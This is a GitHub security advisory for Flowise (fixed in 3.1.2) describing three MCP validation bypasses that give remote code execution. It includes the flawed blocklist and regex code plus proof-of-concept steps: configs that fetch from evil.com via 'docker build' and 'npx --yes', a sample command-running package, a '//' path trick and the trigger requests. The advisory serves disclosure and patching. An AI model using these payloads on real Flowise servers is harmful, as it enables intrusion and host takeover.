GHSA-M99R-2HXC-CP3Q

Vulnerability from github – Published: 2026-05-14 14:57 – Updated: 2026-05-15 23:47
VLAI
Summary
Flowise has an MCP Security Bypass that Enables RCE
Details

Summary

There are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods

Details

【Vulnerability one】The Docker build subcommand not being on the blocklist leads to remote code execution

The attacker configures the interface through the MCP tool to provide {"command":"docker","args":["build","https://evil.com/"]} as the Custom MCP Server configuration → Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build) → docker build will pull the Dockerfile from the remote address and execute the RUN instructions within it → Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine

Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the docker command

Vulnerable function - validateCommandFlags:

file: packages/components/nodes/tools/MCP/core.ts:260-310

const COMMAND_FLAG_BLACKLIST: Record<string, string[]> = {
    docker: [
        'run', 'exec', '-v', '--volume', '--privileged', '--cap-add',
        '--security-opt', '--network', '--pid', '--ipc'
        //  'build', 'pull', 'push', 'cp', 'commit' are not on the blocklist 
    ],
    npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
    npm: ['run', 'exec', 'install', '--prefix', '-g', '--global', 'publish', 'adduser', 'login'],
    // ...
}
export function validateCommandFlags(command: string, args: string[]): ValidationResult {
    const blacklist = COMMAND_FLAG_BLACKLIST[command] || []
    for (const arg of args) {
        if (blacklist.includes(arg)) {
            return { valid: false, error: `Argument '${arg}' is not allowed for command '${command}'` }
        }
    }
    return { valid: true }
}

Reproduction process:

Add MCP config via UI or API interface, for example:

2f0b6dfad5458616781921e1c28339d0

Then execute:

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}

After execution, the command can be triggered to execute docker build http://evil.com

f98e1d91428be6077ac6cf0472285f17

If a privileged container is deployed, then it can fully control the Flowise host machine

【Vulnerability two】 npx --yes long parameter alias bypassing blocklist leads to remote code execution

The attacker configures the MCP tool to provide {"command":"npx","args":["--yes","malicious-package"]} → validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes → npx --yes malicious-package automatically agrees to install and execute any npm package → Leads to remote code execution (RCE) on the server

Precondition: 1. Have a Flowise account (any role, including regular users) or an API with view&update permissions for chatflows 2. The deployment environment has the npx command

npx blocklist:

file: packages/components/nodes/tools/MCP/core.ts:270-280

npx: ['-c', '--call', '--shell-auto-fallback', '-y'],
//    Only the short parameter -y is present, without the long parameter alias --yes

Reproduction process: Add MCP config via UI or API interface, for example:

85ea14ea224df9ed501827dfa47afb09

{
  "command": "npx",
  "args":["--yes", "http://evil.com/FileName.tar"]
}

Contents of the tar file:

// index.js
#!/usr/bin/env node
const http = require('http');
const { execSync } = require('child_process');

const result = execSync('id && hostname').toString().trim();
console.error('[MCP-RCE-002] npx --yes bypass: ' + result);

// package.json
{
  "name": "attacker-mcp-pkg",
  "version": "1.0.0",
  "bin": {
    "attacker-mcp-pkg": "./index.js"
  },
  "scripts": {
    "postinstall": ""
  }
}

Then execute:

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}

can trigger the vulnerability, execute the attacker's commands, and achieve RCE:

4c466067deb4606a38e4b73806661328

node command bypassing local file restrictions leads to remote code execution

When configuring the CustomMCP node, the attacker provides {"command":"node","args":["local file"]} → Bypass the security restrictions of validateArgsForLocalFileAccess → Node process loads local files and executes arbitrary code → RCE

Precondition: Have a Flowise account

Analysis of Vulnerable Code:

// packages/components/nodes/tools/MCP/core.ts:177-220

export const validateArgsForLocalFileAccess = (args: string[]): void => {
    const dangerousPatterns = [
        // Absolute paths
        /^\/[^/]/, // Unix absolute paths starting with /
        /^[a-zA-Z]:\\/, // Windows absolute paths like C:\

        // Relative paths that could escape current directory
        /\.\.\//, // Parent directory traversal with ../
        /\.\.\\/, // Parent directory traversal with ..\
        /^\.\./, // Starting with ..

        // Local file access patterns
        /^\.\//, // Current directory with ./
        /^~\//, // Home directory with ~/
        /^file:\/\//, // File protocol

        // Common file extensions that shouldn't be accessed
        /\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,

        // File flags and options that could access local files
        /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,
        /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i
    ]

The above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression "/^\/[^/]/" has a matching issue

As the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is '/')

ea354264cbb2ace6a3a6a16e00f1d298

Therefore, the limitation of this function can be bypassed by starting with //

** Reproduction process: **

Create a new chatflow as follows:

7e884613b5897509b39467f8f3b7aae1

After saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory

orgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:

48b5ab8412babba312f502be5db1dad3

For example:

~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js

Since paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:

990e1c81ed3957c5ae823e55efec15a5

POST /api/v1/export-import/import  HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 479

 {
    "ChatMessage": [
      {
        "id": "11111111-2222-4333-8444-555555555555",
        "role": "userMessage",
        "chatflowid": "{chatflow_id}",
        "content": "seed for home path test",
        "chatType": "EXTERNAL",
        "chatId": "audit-home-001",
        "createdDate": "2026-03-04T06:40:00.000Z",
        "fileUploads": "[{\"type\":\"stored-file\",\"name\":\"poc.txt\",\"mime\":\"text/plain\"}]"
      }
    ]
  }

d7f947940f4e6b6e95a61bcc301c25c0

POST /api/v1/export-import/chatflow-messages HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
x-request-from: internal
Cookie: cookie
Connection: keep-alive
Content-Length: 57

{"chatflowId":"{chatflow_id}"}

After obtaining the absolute path, simply modify the path in args to the path of the file name:

  {
    "command": "node",
    "args": ["//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js"]
  }

After saving, execution will trigger RCE

POST /api/v1/prediction/{chatflows_id} HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
Authorization: Bearer apikey
Content-Length: 17

{"question": "1"}

Impact

This vulnerability allows attackers to execute arbitrary commands on the Flowise server .

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-184"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T14:57:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\nThere are three bypass methods for the security limitations of the Flowise MCP feature, and attackers can execute arbitrary commands by combining these three methods\n\n## Details\n\n\n### \u3010Vulnerability  one\u3011The Docker build subcommand not being on the blocklist leads to remote code execution \n\nThe attacker configures the interface through the MCP tool to provide {\"command\":\"docker\",\"args\":[\"build\",\"https://evil.com/\"]} as the Custom MCP Server configuration \n\u2192 Bypass the validateCommandFlags docker blocklist (only blocks run/exec/-v/--volume, etc., but does not block build)\n\u2192 docker build \u003cremote-URL\u003e will pull the Dockerfile from the remote address and execute the RUN instructions within it\n\u2192 Allows attackers to escape from Docker through methods such as mounting, thereby gaining full control of the Flowise host machine \n\nPrecondition: \n1. Have a Flowise account (any role, including regular users) or an API with view\u0026update permissions for chatflows\n2. The deployment environment has the docker command\n\nVulnerable function - validateCommandFlags: \n\n```\nfile: packages/components/nodes/tools/MCP/core.ts:260-310\n\nconst COMMAND_FLAG_BLACKLIST: Record\u003cstring, string[]\u003e = {\n    docker: [\n        \u0027run\u0027, \u0027exec\u0027, \u0027-v\u0027, \u0027--volume\u0027, \u0027--privileged\u0027, \u0027--cap-add\u0027,\n        \u0027--security-opt\u0027, \u0027--network\u0027, \u0027--pid\u0027, \u0027--ipc\u0027\n        //  \u0027build\u0027, \u0027pull\u0027, \u0027push\u0027, \u0027cp\u0027, \u0027commit\u0027 are not on the blocklist \n    ],\n    npx: [\u0027-c\u0027, \u0027--call\u0027, \u0027--shell-auto-fallback\u0027, \u0027-y\u0027],\n    npm: [\u0027run\u0027, \u0027exec\u0027, \u0027install\u0027, \u0027--prefix\u0027, \u0027-g\u0027, \u0027--global\u0027, \u0027publish\u0027, \u0027adduser\u0027, \u0027login\u0027],\n    // ...\n}\nexport function validateCommandFlags(command: string, args: string[]): ValidationResult {\n    const blacklist = COMMAND_FLAG_BLACKLIST[command] || []\n    for (const arg of args) {\n        if (blacklist.includes(arg)) {\n            return { valid: false, error: `Argument \u0027${arg}\u0027 is not allowed for command \u0027${command}\u0027` }\n        }\n    }\n    return { valid: true }\n}\n```\n\nReproduction process:\n\nAdd MCP config via UI or API interface, for example: \n\n\u003cimg width=\"1280\" height=\"414\" alt=\"2f0b6dfad5458616781921e1c28339d0\" src=\"https://github.com/user-attachments/assets/6c8419c5-6261-46bb-8a30-3ac1ec3fb599\" /\u003e\n\nThen execute: \n\n```\nPOST /api/v1/prediction/{chatflows_id} HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAuthorization: Bearer apikey\nContent-Length: 17\n\n{\"question\": \"1\"}\n```\n\nAfter execution, the command can be triggered to execute docker build http://evil.com \n\n\u003cimg width=\"1280\" height=\"319\" alt=\"f98e1d91428be6077ac6cf0472285f17\" src=\"https://github.com/user-attachments/assets/856d46b4-7949-4091-bed9-a7c3fecc62f0\" /\u003e\n\nIf a privileged container is deployed, then it can fully control the Flowise host machine \n\n### \u3010Vulnerability  two\u3011 npx --yes long parameter alias bypassing blocklist leads to remote code execution\n\nThe attacker configures the MCP tool to provide {\"command\":\"npx\",\"args\":[\"--yes\",\"malicious-package\"]} \n\u2192 validateCommandFlags npx blocklist only contains short parameter -y, and does not block long parameter alias --yes\n\u2192 npx --yes malicious-package automatically agrees to install and execute any npm package\n\u2192 Leads to remote code execution (RCE) on the server \n\nPrecondition: \n1. Have a Flowise account (any role, including regular users) or an API with view\u0026update permissions for chatflows\n2. The deployment environment has the npx command\n\nnpx blocklist:\n\n```\nfile: packages/components/nodes/tools/MCP/core.ts:270-280\n\nnpx: [\u0027-c\u0027, \u0027--call\u0027, \u0027--shell-auto-fallback\u0027, \u0027-y\u0027],\n//    Only the short parameter -y is present, without the long parameter alias --yes\n```\n\nReproduction process:\nAdd MCP config via UI or API interface, for example: \n\n\u003cimg width=\"1910\" height=\"690\" alt=\"85ea14ea224df9ed501827dfa47afb09\" src=\"https://github.com/user-attachments/assets/8f3a2299-5460-4d23-b113-79ba4a9e52b6\" /\u003e\n\n```\n{\n  \"command\": \"npx\",\n  \"args\":[\"--yes\", \"http://evil.com/FileName.tar\"]\n}\n```\n\nContents of the tar file:\n\n```\n// index.js\n#!/usr/bin/env node\nconst http = require(\u0027http\u0027);\nconst { execSync } = require(\u0027child_process\u0027);\n\nconst result = execSync(\u0027id \u0026\u0026 hostname\u0027).toString().trim();\nconsole.error(\u0027[MCP-RCE-002] npx --yes bypass: \u0027 + result);\n\n// package.json\n{\n  \"name\": \"attacker-mcp-pkg\",\n  \"version\": \"1.0.0\",\n  \"bin\": {\n    \"attacker-mcp-pkg\": \"./index.js\"\n  },\n  \"scripts\": {\n    \"postinstall\": \"\"\n  }\n}\n```\nThen execute: \n\n```\nPOST /api/v1/prediction/{chatflows_id} HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAuthorization: Bearer apikey\nContent-Length: 17\n\n{\"question\": \"1\"}\n```\n\ncan trigger the vulnerability, execute the attacker\u0027s commands, and achieve RCE:\n\n\u003cimg width=\"3026\" height=\"256\" alt=\"4c466067deb4606a38e4b73806661328\" src=\"https://github.com/user-attachments/assets/e9821e3f-bda4-4c6a-bcd1-0b19053045c9\" /\u003e\n\n### node command bypassing local file restrictions leads to remote code execution\n\nWhen configuring the CustomMCP node, the attacker provides {\"command\":\"node\",\"args\":[\"local file\"]} \n\u2192 Bypass the security restrictions of validateArgsForLocalFileAccess \n\u2192 Node process loads local files and executes arbitrary code \u2192 RCE \n\nPrecondition: \nHave a Flowise account \n\nAnalysis of Vulnerable Code:\n\n```\n// packages/components/nodes/tools/MCP/core.ts:177-220\n\nexport const validateArgsForLocalFileAccess = (args: string[]): void =\u003e {\n    const dangerousPatterns = [\n        // Absolute paths\n        /^\\/[^/]/, // Unix absolute paths starting with /\n        /^[a-zA-Z]:\\\\/, // Windows absolute paths like C:\\\n\n        // Relative paths that could escape current directory\n        /\\.\\.\\//, // Parent directory traversal with ../\n        /\\.\\.\\\\/, // Parent directory traversal with ..\\\n        /^\\.\\./, // Starting with ..\n\n        // Local file access patterns\n        /^\\.\\//, // Current directory with ./\n        /^~\\//, // Home directory with ~/\n        /^file:\\/\\//, // File protocol\n\n        // Common file extensions that shouldn\u0027t be accessed\n        /\\.(exe|bat|cmd|sh|ps1|vbs|scr|com|pif|dll|sys)$/i,\n\n        // File flags and options that could access local files\n        /^--?(?:file|input|output|config|load|save|import|export|read|write)=/i,\n        /^--?(?:file|input|output|config|load|save|import|export|read|write)$/i\n    ]\n```\n\nThe above are the main restrictions imposed by the validateArgsForLocalFileAccess function, and it can be found that the regular expression \"/^\\/[^/]/\" has a matching issue \n\nAs the comment says, this regular expression essentially detects whether it is a Unix absolute path, which matches /etc/passwd but does not match //etc/passwd (the second character is \u0027/\u0027) \n\n\u003cimg width=\"1280\" height=\"570\" alt=\"ea354264cbb2ace6a3a6a16e00f1d298\" src=\"https://github.com/user-attachments/assets/9ca88790-77ea-4d42-8910-09e4453f981a\" /\u003e\n\nTherefore, the limitation of this function can be bypassed by starting with //\n\n** Reproduction process: **\n\nCreate a new chatflow as follows:\n\n\u003cimg width=\"1280\" height=\"716\" alt=\"7e884613b5897509b39467f8f3b7aae1\" src=\"https://github.com/user-attachments/assets/478c7a89-4e77-4a5d-b063-de16cb640f92\" /\u003e\n\nAfter saving, cmd.js will be uploaded to the ~/.flowise/storage/{orgId}/{chatflow_id}/ directory\n\norgId can be obtained during login, and chatflow_id will also be returned when saving chatflow:\n\n\u003cimg width=\"1280\" height=\"702\" alt=\"48b5ab8412babba312f502be5db1dad3\" src=\"https://github.com/user-attachments/assets/090292cf-6361-43cd-91d7-eec6e578255b\" /\u003e\n\nFor example: \n```\n~/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js\n```\n\nSince paths like ~/ are restricted, and an absolute path needs to be obtained, use the following method:\n\n\u003cimg width=\"1280\" height=\"716\" alt=\"990e1c81ed3957c5ae823e55efec15a5\" src=\"https://github.com/user-attachments/assets/02c2a949-559a-4ee4-9675-c50a203d1e99\" /\u003e\n\n```\nPOST /api/v1/export-import/import  HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nx-request-from: internal\nCookie: cookie\nConnection: keep-alive\nContent-Length: 479\n\n {\n    \"ChatMessage\": [\n      {\n        \"id\": \"11111111-2222-4333-8444-555555555555\",\n        \"role\": \"userMessage\",\n        \"chatflowid\": \"{chatflow_id}\",\n        \"content\": \"seed for home path test\",\n        \"chatType\": \"EXTERNAL\",\n        \"chatId\": \"audit-home-001\",\n        \"createdDate\": \"2026-03-04T06:40:00.000Z\",\n        \"fileUploads\": \"[{\\\"type\\\":\\\"stored-file\\\",\\\"name\\\":\\\"poc.txt\\\",\\\"mime\\\":\\\"text/plain\\\"}]\"\n      }\n    ]\n  }\n```\n\n\n\u003cimg width=\"1280\" height=\"748\" alt=\"d7f947940f4e6b6e95a61bcc301c25c0\" src=\"https://github.com/user-attachments/assets/482fb78c-dbc8-4a0d-a042-4c993e976f10\" /\u003e\n\n```\nPOST /api/v1/export-import/chatflow-messages HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nx-request-from: internal\nCookie: cookie\nConnection: keep-alive\nContent-Length: 57\n\n{\"chatflowId\":\"{chatflow_id}\"}\n\n```\n\nAfter obtaining the absolute path, simply modify the path in args to the path of the file name: \n\n```\n  {\n    \"command\": \"node\",\n    \"args\": [\"//root/.flowise/storage/d2312f99-9043-413a-a1d2-3b7685a132b2/f8cc7f34-a1e5-4180-940a-47306d32adc2/cmd.js\"]\n  }\n```\n\nAfter saving, execution will trigger RCE \n\n\n```\nPOST /api/v1/prediction/{chatflows_id} HTTP/1.1\nHost: 127.0.0.1:3000\nContent-Type: application/json\nAuthorization: Bearer apikey\nContent-Length: 17\n\n{\"question\": \"1\"}\n```\n\n## Impact\n\nThis vulnerability allows attackers to execute arbitrary commands on the Flowise server .",
  "id": "GHSA-m99r-2hxc-cp3q",
  "modified": "2026-05-15T23:47:38Z",
  "published": "2026-05-14T14:57:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-m99r-2hxc-cp3q"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise has an MCP Security Bypass that Enables RCE"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…